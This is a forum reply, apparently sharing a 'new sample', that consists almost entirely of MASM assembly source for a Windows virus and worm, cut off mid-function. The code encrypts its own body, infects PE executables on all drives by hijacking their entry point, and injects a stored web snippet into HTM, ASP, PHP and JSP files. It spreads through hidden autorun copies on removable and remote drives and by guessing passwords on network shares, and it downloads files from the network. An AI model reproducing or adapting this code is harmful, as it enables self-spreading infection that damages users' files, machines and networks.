能力值:
( LV2,RANK:10 )
16 楼
一个新样本:
.386
.model flat, stdcall
option casemap:none include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\kernel32.lib
include d:\masm32\include\windows.inc
.code
main:
pushad
push @@curAddr
jmp @@curAddr
embedMain:
pushad
call @@curAddr
@@curAddr:
mov ebp, [esp]
add esp, 4
sub ebp, @@curAddr - main
sub ebp, main
lea eax, [ebp + @@beginEnvelopPos]
mov ecx, offset ournasdfasdf - offset @@beginEnvelopPos
call EnvelopCode
lea eax, [ebp + @@beginEnvelopPos]
jmp eax
;-------------------------------------------------------------------------
EnvelopCode PROC
and cx, 0fffcH
.WHILE cx
xor dword ptr [eax], 'czj1'
sub cx, 4
add eax, 4
.ENDW
ret
EnvelopCode ENDP
;--------------------------------------------------------------------------------
@@beginEnvelopPos:
;-------initialize fun entry--------------
mov esi, [EBP+ OFFSET _dwImageBase]
assume esi : ptr IMAGE_DOS_HEADER
mov esi, [esi].e_lfanew
add esi, [EBP+ OFFSET _dwImageBase]
assume esi : ptr IMAGE_NT_HEADERS32
; push [esi].OptionalHeader.DataDirectory[11 * SIZEOF IMAGE_DATA_DIRECTORY].VirtualAddress
; push [esi].FileHeader.NumberOfSections
mov esi, [esi].OptionalHeader.DataDirectory[SIZEOF IMAGE_DATA_DIRECTORY].VirtualAddress ;1 --IMAGE_DIRECTORY_ENTRY_IMPORT
add esi, [EBP+ OFFSET _dwImageBase]
assume esi : ptr IMAGE_IMPORT_DESCRIPTOR
.while !([esi].OriginalFirstThunk==0 && [esi].TimeDateStamp==0 && [esi].ForwarderChain==0 && [esi].Name1==0 && [esi].FirstThunk==0)
mov eax,[esi].Name1
ADD eax,[EBP+OFFSET _dwImageBase]
; .IF (dword ptr[edx] == ('NREK') && dword ptr [edx + 4] == ('23LE') && dword ptr [edx + 8] == ('lld.') && byte ptr [edx + 12] == 0) || (dword ptr[edx] == ('nrek') && dword ptr [edx + 4] == ('23le') && dword ptr [edx + 8] == ('lld.') && byte ptr [edx + 12] == 0)
add esp, 10H
mov edx, esp
mov ebx, dword ptr [eax]
mov dword ptr [edx], ebx
mov ebx, dword ptr [eax + 4]
mov dword ptr [edx + 4], ebx
mov ebx, dword ptr [eax + 8]
mov dword ptr [edx + 8], ebx
mov bl, byte ptr [eax + 0cH]
mov byte ptr [edx + 0cH], bl
push edx
call strupw
xor eax, eax
.IF dword ptr[edx] == ('NREK') && dword ptr [edx + 4] == ('23LE') && dword ptr [edx + 8] == ('LLD.') && byte ptr [edx + 12] == 0
mov eax, 1
.endif
sub esp, 10H
.IF eax
xor eax, eax
mov edx, [esi].OriginalFirstThunk
.IF edx != 0
add edx, [EBP+OFFSET _dwImageBase]
.ENDIF
.WHILE edx != 0 && dword ptr [edx] != 0
push edx
push eax
mov edx, [edx]
add edx, [EBP+ OFFSET _dwImageBase]
assume edx : ptr IMAGE_IMPORT_BY_NAME
ADD edx, SIZEOF WORD
.IF dword ptr [edx] == ('PteG') && dword ptr [edx + 4 ] == ('Acor') && dword ptr [edx + 8 ] == ('erdd') && word ptr [edx + 12] == ('ss') && byte ptr [edx + 14] == 0
mov edx, [esi].FirstThunk
add edx, [EBP+ OFFSET _dwImageBase]
add edx, eax
MOV eax, dword ptr [edx]
MOV dword ptr [ebp + OFFSET _GetProcAddress], eax
.ELSEIF dword ptr [edx] == ('daoL') && dword ptr [edx + 4 ] == ('rbiL') && dword ptr [edx + 8 ] == ('Ayra') && word ptr [edx + 12] == 0
mov edx, [esi].FirstThunk
add edx, [EBP+ OFFSET _dwImageBase]
add edx, eax
MOV eax, dword ptr [edx]
MOV dword ptr [ebp + OFFSET _LoadLibraryA], eax
.ENDIF
pop eax
pop edx
add edx, 4
add eax, 4
.ENDW
.ENDIF
add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
.ENDW
.IF [ebp + _GetProcAddress] == 0 || [ebp + _LoadLibraryA ] == 0
@@GOOUT:
.IF [ebp + _dwOrgEntry] == 0
popad
ret
.ELSEIF
lea eax, [ebp + @@orgAddress]
add eax, 4
mov ebx, [ebp + _dwOrgEntry]
add ebx, [ebp + _dwImageBase]
sub ebx, eax
mov dword ptr [ebp + @@orgAddress], ebx
popad
db 0e9h
@@orgAddress:
dd 0
.ENDIF
.ENDIF lea eax, [ebp + szKernel32]
push eax
call [ebp + _LoadLibraryA]
mov [ebp + _dwKernelBase], eax
push eax
pop ebx
lea edx, [ebp + offset _GetModuleHandle]
push edx
lea edx, [ebp + offset szGetModuleHandle]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _FreeLibrary]
push edx
lea edx, [ebp + offset szFreeLibrary]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _VirtualProtect]
push edx
lea edx, [ebp + offset szVirtualProtect]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GetModuleFileName]
push edx
lea edx, [ebp + offset szGetModuleFileName]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _CreateFile]
push edx
lea edx, [ebp + offset szCreateFile]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _ReadFile]
push edx
lea edx, [ebp + offset szReadFile]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _WriteFile]
push edx
lea edx, [ebp + offset szWriteFile]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GetFileSize]
push edx
lea edx, [ebp + offset szGetFileSize]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _CloseHandle]
push edx
lea edx, [ebp + offset szCloseHandle]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _CreateRemoteThread]
push edx
lea edx, [ebp + offset szCreateRemoteThread]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _VirtualAllocEx]
push edx
lea edx, [ebp + offset szVirtualAllocEx]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _VirtualFree]
push edx
lea edx, [ebp + offset szVirtualFree]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _WriteProcessMemory]
push edx
lea edx, [ebp + offset szWriteProcessMemory]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _OpenProcess]
push edx
lea edx, [ebp + offset szOpenProcess]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _CreateProcess]
push edx
lea edx, [ebp + offset szCreateProcess]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _TerminateProcess]
push edx
lea edx, [ebp + offset szTerminateProcess]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _CreateThread]
push edx
lea edx, [ebp + offset szCreateThread]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _Sleep]
push edx
lea edx, [ebp + offset szSleep]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _CreatePipe]
push edx
lea edx, [ebp + offset szCreatePipe]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GlobalAlloc]
push edx
lea edx, [ebp + offset szGlobalAlloc]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GlobalFree]
push edx
lea edx, [ebp + offset szGlobalFree]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _SetFilePointer]
push edx
lea edx, [ebp + offset szSetFilePointer]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _FindFirstFile]
push edx
lea edx, [ebp + offset szFindFirstFile]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _FindNextFile]
push edx
lea edx, [ebp + offset szFindNextFile]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _FindClose]
push edx
lea edx, [ebp + offset szFindClose]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _WinExec]
push edx
lea edx, [ebp + offset szWinExec]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GetSystemDirectory]
push edx
lea edx, [ebp + offset szGetSystemDirectory]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GetDriveType]
push edx
lea edx, [ebp + offset szGetDriveType]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _SetFileTime]
push edx
lea edx, [ebp + offset szSetFileTime]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _SetFileAttributes]
push edx
lea edx, [ebp + offset szSetFileAttributes]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GetFileAttributesEx]
push edx
lea edx, [ebp + offset szGetFileAttributesEx]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _DeleteFile]
push edx
lea edx, [ebp + offset szDeleteFile]
push edx
sub esp, 8
call InitFunctionAddress
lea edx, [ebp + offset _GetLastError]
push edx
lea edx, [ebp + offset szGetLastError]
push edx
sub esp, 8
call InitFunctionAddress
;-----------ntdll.dll--------------------
lea eax, [ebp + szNtdll]
push eax
call [ebp + _LoadLibraryA]
push eax
pop ebx
lea edx, [ebp + offset _NtQuerySystemInformation]
push edx
lea edx, [ebp + offset szNtQuerySystemInformation]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
;---------------Mpr.dll--------------------------
lea eax, [ebp + szMpr]
push eax
call [ebp + _LoadLibraryA]
push eax
pop ebx
lea edx, [ebp + offset _WNetOpenEnum]
push edx
lea edx, [ebp + offset szWNetOpenEnum]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _WNetEnumResource]
push edx
lea edx, [ebp + offset szWNetEnumResource]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _WNetAddConnection2]
push edx
lea edx, [ebp + offset szWNetAddConnection2]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _WNetCloseEnum]
push edx
lea edx, [ebp + offset szWNetCloseEnum]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
;-----------urlmon.dll------------------
lea eax, [ebp + szurlmon]
push eax
call [ebp + _LoadLibraryA]
push eax
pop ebx
lea edx, [ebp + offset _URLDownloadToFile]
push edx
lea edx, [ebp + offset szURLDownloadToFile]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
;----------------Advapi32.dll------------------
lea eax, [ebp + szAdvapi32]
push eax
call [ebp + _LoadLibraryA]
push eax
pop ebx
lea edx, [ebp + offset _OpenSCManager]
push edx
lea edx, [ebp + offset szOpenSCManager]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _OpenService]
push edx
lea edx, [ebp + offset szOpenService]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _ControlService]
push edx
lea edx, [ebp + offset szControlService]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _CloseServiceHandle]
push edx
lea edx, [ebp + offset szCloseServiceHandle]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _RegOpenKeyEx]
push edx
lea edx, [ebp + offset szRegOpenKeyEx]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _RegSetValueEx]
push edx
lea edx, [ebp + offset szRegSetValueEx]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
lea edx, [ebp + offset _RegCloseKey]
push edx
lea edx, [ebp + offset szRegCloseKey]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
;-----------user32.dll------------------
lea eax, [ebp + szUser32]
push eax
call [ebp + _LoadLibraryA]
push eax
pop ebx
lea edx, [ebp + offset _FindWindowEx]
push edx
lea edx, [ebp + offset szFindWindowEx]
push edx
push [ebp + _GetProcAddress]
push ebx
call InitFunctionAddress
;---------------initialize end--------------------------
;-----------remove begin----------
lea edx, [ebp + offset _mm]
push edx
lea edx, [ebp + offset szmm]
push edx
sub esp, 8
call InitFunctionAddress
;-----------HOOK API----------------------
;---------------------------test fun ------------------
call specifyFun
;---------------------------end test fun------------------- ; ---------------remove begin -----------------------------------------------------------------------------
mov edx, offset check@@3
add edx, ebp
jmp edx
mes3 :
db " finish!",0
check@@3:
lea edx, [ebp + offset mes3]
push [ebp + _mm]
push edx
call checkPoint
;-----------remove end------------- @@JMPOLDPROC:
lea ebx, [ebp + @@GOOUT]
jmp ebx
;----------------------------------------------------------------------------------------
InitFunctionAddress proc uses ebx edx , hMod : LPVOID, pGetProcAddress : LPVOID, lpFunName : LPVOID, lpAddress : DWORD
mov ebx, lpAddress
push lpFunName
push hMod
call pGetProcAddress
mov dword ptr [ebx], eax
ret
InitFunctionAddress ENDP
;---------------------------------------------------------------------
specifyFun proc
.if BYTE PTR [ebp+runPosition]
call DownFileFromNet
push 0
push 0
push ebp
lea ebx, [ebp + LOOPCreateVirusExe]
push ebx
push 1024*1024
push 0
call [ebp+_CreateThread]
.else
push ebp
call CreateVirusExe
push 0
push 0
push ebp
lea ebx, [ebp + LOOPInfectNetFile]
push ebx
push 1024*1024
push 0
call [ebp+_CreateThread]
@@specifyFun_loop:
call shortTimeSelfFun
lea eax, [ebp + @@specifyFun_loop]
jmp eax
.endif
ret
specifyFun endp
;------------------------------------------------------------------------
LOOPCreateVirusExe PROC
push ebp
mov ebp, [esp + 8]
@@LOOPCreateVirusExe:
call InfectfileFun
lea eax, [ebp + @@LOOPCreateVirusExe]
jmp eax
pop ebp
ret 4
LOOPCreateVirusExe endp ;-------------------------------
CreateVirusExe PROC
push ebp
mov ebp, [esp + 8]
push ebx
mov ebx, esp
sub esp, 104H
mov dword ptr [esp], '\'
push ebx
lea ebx, [esp + 8]
push 100h
push ebx
call [ebp + _GetSystemDirectory]
lea eax, [ebx - 4]
push eax
push ebx
call strcat
lea eax, [ebp + virname]
push eax
push ebx
call strcat
call CreateVirusExeAndWrite
call CheckCurrentExist
.if eax
push 0
push ebx
call [ebp + _WinExec]
.if eax <= 31
push 80H
push ebx
call [ebp + _SetFileAttributes]
push ebx
call [ebp + _DeleteFile]
call CreateVirusExeAndWrite
push 0
push ebx
call [ebp + _WinExec]
.endif
.endif
pop esp
pop ebx
pop ebp
ret 4
CreateVirusExe endp
;--------------------------------------
CreateVirusExeAndWrite proc
push ebx
push edx
push esi
push edi
push ecx
mov edx, esp
mov ecx, offset ournasdfasdf - offset embedMain + 280H + 10H
and cl, 0f0h
sub esp, ecx
mov edi, esp
push edx
push 0
push 80H
push 1
push 0
push 0
push GENERIC_WRITE
push ebx
call [ebp + _CreateFile]
.IF eax == -1
call [ebp + _GetLastError]
lea eax, [@@CreateVirusExeAndWrite_out + ebp]
jmp eax
.ENDIF
push eax
push dword ptr [ebp + _dwImageBase]
push dword ptr [ebp + _dwOrgEntry]
push 0
lea ecx, [ebp + tempword]
push ecx
mov ecx, offset ournasdfasdf - offset embedMain
add ecx, 278h
push ecx
lea esi, [ebp + ournasdfasdf]
sub esi, ecx
mov edx, ecx
mov dword ptr [ebp + _dwImageBase], 400000h
mov dword ptr [ebp + _dwOrgEntry], 0
and BYTE PTR [ebp + runPosition], 0
push edi
push edi
shr ecx, 2
rep movs dword ptr [edi], dword ptr [esi]
pop edi
push eax
mov eax, edi
add eax, edx
mov ecx, offset ournasdfasdf - offset @@beginEnvelopPos
sub eax, ecx
call EnvelopCode
call [ebp + _WriteFile]
pop dword ptr [ebp + _dwOrgEntry]
pop dword ptr [ebp + _dwImageBase]
or BYTE PTR [ebp + runPosition], 1
call [ebp + _CloseHandle]
mov eax, 0
@@CreateVirusExeAndWrite_out:
pop esp
pop ecx
pop edi
pop esi
pop edx
pop ebx
ret
CreateVirusExeAndWrite endp
;-----------------------------------------------------------------------------
wirteautorun PROC
push ebx
push 80H
push ebx
call [ebp + _SetFileAttributes]
push 0
push 80H
push OPEN_ALWAYS
push 0
push 0
push GENERIC_WRITE
push ebx
call [ebp + _CreateFile]
.if eax == 0
pop ebx
ret
.endif
push eax
mov ebx, eax
push 0
lea eax, [ebp + tempword]
push eax
push offset virdll - offset _autoruncontent - 1
lea eax, [ebp + _autoruncontent]
push eax
push ebx
call [ebp + _WriteFile]
call [ebp + _CloseHandle]
pop ebx
push FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY + FILE_ATTRIBUTE_ARCHIVE
push ebx
call [ebp + _SetFileAttributes]
ret
wirteautorun endp
movabledisk Proc
push ebx
push ecx
mov ecx, esp
sub esp, 20H
mov ebx, esp
push ecx
mov dword ptr [ebx], '\:y'
mov cl, byte ptr [ebx]
.while cl <= 'z'
push ebx
call [ebp + _GetDriveType]
;int 3
.if eax == DRIVE_REMOVABLE || eax == DRIVE_REMOTE
lea eax, [ebp + virname]
push eax
push ebx
call strcat
;int 3
call CreateVirusExeAndWrite
.if eax == 0
push FILE_ATTRIBUTE_READONLY + FILE_ATTRIBUTE_HIDDEN
push ebx
call [ebp + _SetFileAttributes]
mov byte ptr [ebx + 3], 0
lea eax, [ebp + _autorun]
push eax
push ebx
call strcat
call wirteautorun
.endif
.endif
inc byte ptr [ebx]
mov cl, byte ptr [ebx]
.endw
pop esp
pop ecx
pop ebx
ret
movabledisk endp
LOOPInfectNetFile PROC
push ebp
mov ebp, [esp + 8]
@@LOOPInfectNetFile:
call longTimeSelfFun
lea eax, [ebp + @@LOOPInfectNetFile]
jmp eax
pop ebp
ret 4
LOOPInfectNetFile endp
;-------------------------------------
InfectNetFile proc
push ebx
push ecx
mov ebx, esp
sub esp, 32
mov ecx, esp
push ebx
mov ebx, ecx
push ebx
xor ecx,ecx
mov cl, 8
.while cl
mov dword ptr[ebx], 0
add ebx, 4
dec cl
.endw
pop ebx
call EnumShareNet
pop esp
pop ecx
pop ebx
ret
InfectNetFile endp
;------------------------------------
strupw proc desc:dword
push edi
mov edi, desc
.while byte ptr [edi]
.if byte ptr [edi] >= 'a' && byte ptr [edi] <= 'z'
sub byte ptr [edi], 'a'-'A'
.endif
inc edi
.endw
pop edi
ret
strupw endp
strchr proc desc:dword, chr : dword
push edi
mov edi, desc
mov eax, chr
.while byte ptr [edi]
.if byte ptr [edi] == al
mov eax, edi
pop edi
ret
.endif
inc edi
.endw
xor eax,eax
pop edi
ret
strchr endp
;------------------------------------------------------
;----------------------------------------------------------------
EnumShareNet PROC
push ebx
push edi
push esi
push ecx
mov ecx, esp
sub esp, 0ch
mov edi, esp
push ecx
push edi
push ebx
push 0
push 0
push 2
call [ebp + _WNetOpenEnum]
.if eax
lea eax, [ebp + @@EnumShareNet_end]
jmp eax
.endif
push 16384
push 40H
call [ebp +_GlobalAlloc]
.if eax == 0
lea eax, [ebp + @@EnumShareNet_end]
jmp eax
.endif
mov esi, eax
lea eax, [edi + 8]
mov dword ptr [eax], 16384
push eax
push esi
lea eax, [edi + 4]
push eax
mov dword ptr [eax], -1;
push dword ptr [edi]
call [ebp + _WNetEnumResource]
.if eax
lea eax, [ebp + @@EnumShareNet_end]
jmp eax
.endif
mov ecx, dword ptr [edi + 4]
push esi
.while ecx
assume esi : ptr NETRESOURCEA
;int 3
push ecx
mov ebx, [esi].lpRemoteName
mov eax, 1
call dealNetAllFile
.if eax
mov eax, [esi].dwUsage
.if ebx && (eax & 1) || (eax & 2)
mov ebx, esi
;int 3
call EnumShareNet
.endif
.endif
add esi, 32
pop ecx
dec ecx
.endw
call [ebp + _GlobalFree]
push dword ptr [edi]
call [ebp + _WNetCloseEnum]
@@EnumShareNet_end:
pop esp
pop ecx
pop esi
pop edi
pop ebx
ret
EnumShareNet ENDP
;-----------------------------------------------------------------
InfectFile proc
push ebp
mov ebp, dword ptr [esp + 8]
push ebx
push ecx
sub esp, 4
mov ebx, esp
mov dword ptr [ebx], '\:y'
.while BYTE PTR [ebx] <= 'z'
mov cl, 10H
call InfectAllFile
inc BYTE PTR [ebx]
.endw
add esp, 4
pop ecx
pop ebx
pop ebp
ret 4
InfectFile endp strcat proc desc:dword, src:dword
push edi
mov edi, desc
.while BYTE PTR [edi]
inc edi
.endw
push src
push edi
call strcpy
pop edi
ret
strcat endp
strcpy proc desc:DWORD, src:DWORD
push esi
push edi
mov esi, src
mov edi, desc
.while BYTE PTR [esi]
mov al, BYTE PTR [esi]
mov BYTE PTR [edi], al
inc edi
inc esi
.endw
mov BYTE PTR [edi], 0
pop edi
pop esi
ret
strcpy ENDP ;-------------------------------------------------------------------
TryNetPassword PROC
push ebx
mov ebx, esp
push edi
push ecx
push edx
sub esp, 20H
mov eax, esp
push ebx
mov ebx, dword ptr [ebx + 8]
push eax
mov cl, 20H
.while cl
mov byte ptr [eax], 0
inc eax
dec cl
.endw
pop edi
mov dword ptr [edi + 14H], ebx
mov al, 1
lea ebx, [ebp + _tryUserName]
.while eax && byte ptr [ebx]
lea edx, [ebp + _tryPassword]
.while eax && byte ptr [edx]
push 1
push ebx
push edx
push edi
int 3
call [ebp + _WNetAddConnection2]
.while eax && byte ptr [edx]
inc edx
.endw
inc edx
.endw
.while eax && byte ptr [ebx]
inc ebx
.endw
inc ebx
.endw
pop esp
pop edx
pop ecx
pop edi
pop ebx
ret
TryNetPassword ENDP
;------------------------------------------------------------------
;-------------------------------------------------------------------
dealNetAllFile PROC
push ebx
push edi
mov edi, esp
sub esp, 204H
push edi
sub edi, 204H
;-------------messagebox----------------
;int 3
;--------------------------------------
mov dword ptr [edi], '\';
.if ebx && word ptr [ebx] == '\\'
push ebx
lea ebx, [edi + 4]
push ebx
call strcpy
push edi
push ebx
call strcat
push ebx
lea ebx, [edi + 104H]
push ebx
call strcpy
lea ebx, [ebp + offset virname]
push ebx
lea ebx, [edi + 4]
push ebx
call strcat
.if dword ptr [ebx] == 'LB\\'
;int 3
call CreateVirusExeAndWrite
.if eax
lea eax, [edi + 104H]
push eax
call TryNetPassword
call CreateVirusExeAndWrite
.endif
push eax
.if eax == 0
lea ebx, [edi + 104H]
push ebx
lea ebx, [edi + 4]
push ebx
call strcpy
lea eax, [ebp + _autorun]
push eax
push ebx
call strcat
call wirteautorun
.endif
lea ebx, [edi + 104H]
call InfectAllFile
pop eax
.endif
.endif
pop esp
pop edi
pop ebx
ret
dealNetAllFile ENDP
;------------------------------------------------------------------ InfectAllFile PROC uses ebx edi
;LOCAL path[100h] : BYTE
;LOCAL fileData[300] : BYTE
;LOCAL hFind : DWORD
;LOCAL ext : DWORD
;LOCAL SPIT : WORD
; push 500
; call [ebp + _Sleep]
push esi
mov esi, ebp
mov ebp, esp
sub esp, 100h+300+10h
mov dword ptr [ebp - 100h - 300 - 4 - 4] , '*.*'
mov word ptr [ebp - 100h - 300 - 4 - 4 - 2] , '\'
lea edi, [ebp - 100h]
push ebx
push edi
call strcpy
.if ecx
lea edx, [ebp - 100h - 300 - 4 - 4]
push edx
push edi
call strcat
lea edx, [ebp - 100h - 300]
push edx
push edi
call [esi + _FindFirstFile]
.if eax == -1
lea eax, [esi + @@InfectAllFile_end]
jmp eax
.endif
mov [ebp - 100h - 300 - 4] , eax
@@InfectAllFile_FindNextFile:
push ebx
lea edx, [ebp - 100h - 300]
assume edx : ptr WIN32_FIND_DATA
mov ecx, [edx].dwFileAttributes
lea ebx, [edx].cFileName
and ecx, 10H
.IF BYTE PTR [ebx] == '.'
lea eax, [esi + @@FindFileskip_next]
jmp eax
.ENDIF
.if ecx
lea eax, [ebp - 100h - 300 - 4 - 4 - 2]
push eax
push ebx
call strcat
.else
push ebx
call strupw
.endif
push ebx
push edi
call strcat
mov ebx, edi
push ebp
mov ebp, esi
call InfectAllFile
pop ebp
@@FindFileskip_next:
lea edx, [ebp - 100h - 300]
push edx
push [ebp - 100h - 300 - 4]
call [esi + _FindNextFile]
pop ebx
.if eax
push ebx
push edi
call strcpy
lea eax, [esi + @@InfectAllFile_FindNextFile]
jmp eax
.endif
push [ebp - 100h - 300 - 4]
call [esi + _FindClose]
.else
push ebp
mov ebp, esi
call InfectOneFile
pop ebp
.endif
@@InfectAllFile_end:
mov esp, ebp
mov ebp, esi
pop esi
ret
InfectAllFile ENDP
InfectOneFile PROC uses esi ecx edi ;ebx---文件名的地址
push ebp
push ebx
mov esi, ebp
mov ebp, esp
mov ecx, offset ournasdfasdf - offset embedMain + 280H + 10H + 10H + 30H
and cl, 0f0h
sub esp , ecx
;int 3
push 0
push 80H
push 3
push 0
push 0
push GENERIC_READ + GENERIC_WRITE
push ebx
mov dword ptr[ebp - 8], 0
push '.'
push ebx
call strchr
.if eax && dword ptr [eax + 1] == 'MTH' || dword ptr [eax + 1] == 'PSA' || \
dword ptr [eax + 1] == 'LMTH' || dword ptr [eax + 1] == 'PSJ' || \
dword ptr [eax + 1] == 'PHP'
mov dword ptr[ebp - 8], 1
.endif
lea eax, [ebp - 40H]
push eax
push 0
push ebx
call [esi + _GetFileAttributesEx]
call [esi + _CreateFile]
.IF eax == -1
call [esi + _GetLastError]
lea eax, [@@InfectOneFile_Out + esi]
jmp eax
.ENDIF
mov ebx, eax
.if dword ptr[ebp - 8] == 1
push FILE_END
push 0
push offset _website - offset _website_end
push ebx
call [esi + _SetFilePointer]
push ecx
push edi
push edx
mov ecx, offset _website_end - offset _website
mov edx, esp
sub esp, ecx
sub esp, 10H
and sp, 0fffcH
mov edi, esp
push edx
push 0
lea eax, [esi + tempword]
push eax
push ecx
push edi
push ebx
call [esi + _ReadFile]
lea edx, [esi + _website]
mov ecx, offset _website_end - offset _website
.while ecx
mov al, byte ptr [edx]
.if byte ptr [edi] != al
mov eax, -1
mov ecx, 1
.endif
inc edi
inc edx
dec ecx
.endw
pop esp
pop edx
pop edi
pop ecx
.if eax != -1
lea eax, [esi + @@closeInfectOneFile]
jmp eax
.endif
push 0
lea ecx, [ebp - 4]
push ecx
push offset _website_end - offset _website
lea edi, [esi + _website]
push edi
push ebx
call [esi + _WriteFile]
lea eax, [esi + @@closeInfectOneFile]
jmp eax
.endif
push 0
lea ecx, [ebp - 4]
push ecx
push offset ournasdfasdf - offset embedMain + 278H
mov edi, ebp
sub edi, offset ournasdfasdf - offset embedMain + 278H + 10H + 30H
push edi
push ebx
call [esi + _ReadFile]
.IF eax != 0 && word ptr [edi] == 'ZM' && dword ptr[edi + 03ch] < 1000H
mov ecx, dword ptr[edi + 03ch]
add ecx, edi
.IF word ptr [ecx] != 'EP' || dword ptr [ecx + 78H] || dword ptr [ecx + 7cH]
lea eax, [esi + @@closeInfectOneFile]
jmp eax
.ENDIF
push edi
push ebx
xor eax, eax
mov dx, word ptr [ecx + 6]
dec dx
mov ax, 28h
mul dx
push ecx
lea edx, [esi + ournasdfasdf]
lea ecx, [esi + embedMain]
sub edx, ecx
add edx, 278h
pop ecx
add eax, 0F8h
add eax, ecx
mov ebx, dword ptr [eax + 14H]
mov dword ptr [ebp - 0ch], ebx
mov ebx, dword ptr [eax + 10H]
add dword ptr [ebp - 0ch], ebx
push ebx
add dword ptr [eax + 10H], edx
mov ebx, dword ptr [eax + 10H]
mov dword ptr [eax + 8], ebx
mov ebx, dword ptr [eax + 0ch]
mov dword ptr[ecx + 50h], ebx
mov ebx, dword ptr [eax + 8]
add dword ptr[ecx + 50h], ebx
pop ebx
.IF dword ptr [eax + 24h] & 0e0000020h
pop ebx
pop edi
lea eax, [esi + @@closeInfectOneFile]
jmp eax
.ENDIF
or dword ptr [eax + 24h], 0e0000020h
mov eax, dword ptr [eax + 0ch]
add eax, ebx
add eax, 278h
mov ebx, dword ptr[ecx + 28H] ; write to addressOfEntryProint
mov dword ptr[ecx + 28H], eax
mov eax, dword ptr [ecx + 34H]
;---- eax : ImageBase ebx : AddressOfEntryPoint edx : virus length
mov ecx, ebx
pop ebx
pop edi
push edx ; virus length
push ecx ; AddressOfEntryPoint
push eax ; ImageBase
mov dword ptr[ebp - 8], 0
push 0
push 0
push 0
push ebx
call [esi + _SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push dword ptr [ecx]
push edi
push ebx
call [esi + _WriteFile]
mov dword ptr[ebp - 8], 0
push 0
push 0
push dword ptr [ebp - 0ch]
push ebx
call [esi + _SetFilePointer]
mov eax, dword ptr [esi + _dwImageBase]
mov ecx, dword ptr [esi + _dwOrgEntry]
pop dword ptr [esi + _dwImageBase]
pop dword ptr [esi + _dwOrgEntry]
pop edx ; virus length
or BYTE PTR [esi+runPosition], 1
push eax
push ecx
push esi
push edi
add esi, offset ournasdfasdf
sub esi, edx
mov eax, edi
mov ecx, edx
shr ecx, 2
rep movs dword ptr [edi], dword ptr [esi]
add eax, edx
mov ecx, offset ournasdfasdf - offset @@beginEnvelopPos
sub eax, ecx
call EnvelopCode
pop edi
pop esi
push 0
lea ecx, [ebp - 4]
push ecx
push edx
push edi
push ebx
call [esi + _WriteFile]
pop dword ptr [esi + _dwOrgEntry]
pop dword ptr [esi + _dwImageBase]
and BYTE PTR [esi+runPosition], 0
.ENDIF
@@closeInfectOneFile:
lea eax, [ebp - 40H + 14H]
push eax
lea eax, [ebp - 40H + 0cH]
push eax
lea eax, [ebp - 40H + 4H]
push eax
push ebx
call [esi + _SetFileTime]
push ebx
call [esi + _CloseHandle];
mov eax, 0
@@InfectOneFile_Out:
mov esp, ebp
pop ebx
pop ebp
ret
InfectOneFile ENDP
;----------------------------------------------------
stricmp Proc desc : dword , wsrc: dword
push esi
push edi
mov edi, desc
mov esi, wsrc
mov al, byte ptr [esi]
.while al && byte ptr [edi]
mov al, byte ptr [esi]
.if al != byte ptr [edi]
sub al, 'a' - 'A';
.if al != byte ptr [edi]
add al, 2 * ('a' - 'A');
.if al != byte ptr [edi]
xor al, al
